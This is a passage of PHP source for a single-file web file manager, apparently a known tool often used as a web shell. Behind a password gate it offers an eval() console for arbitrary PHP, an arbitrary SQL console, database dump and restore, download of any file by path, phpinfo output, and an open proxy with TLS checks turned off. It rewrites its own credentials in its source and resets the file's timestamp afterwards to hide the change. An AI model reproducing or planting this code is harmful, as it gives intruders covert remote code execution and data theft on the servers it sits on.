$size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменять надо } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>'.__(''.__('$PNG-OP$').'').'</title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.fm_lang_form($language).' </body> </html> '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?=__('File manager')?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,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"); } .file { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXC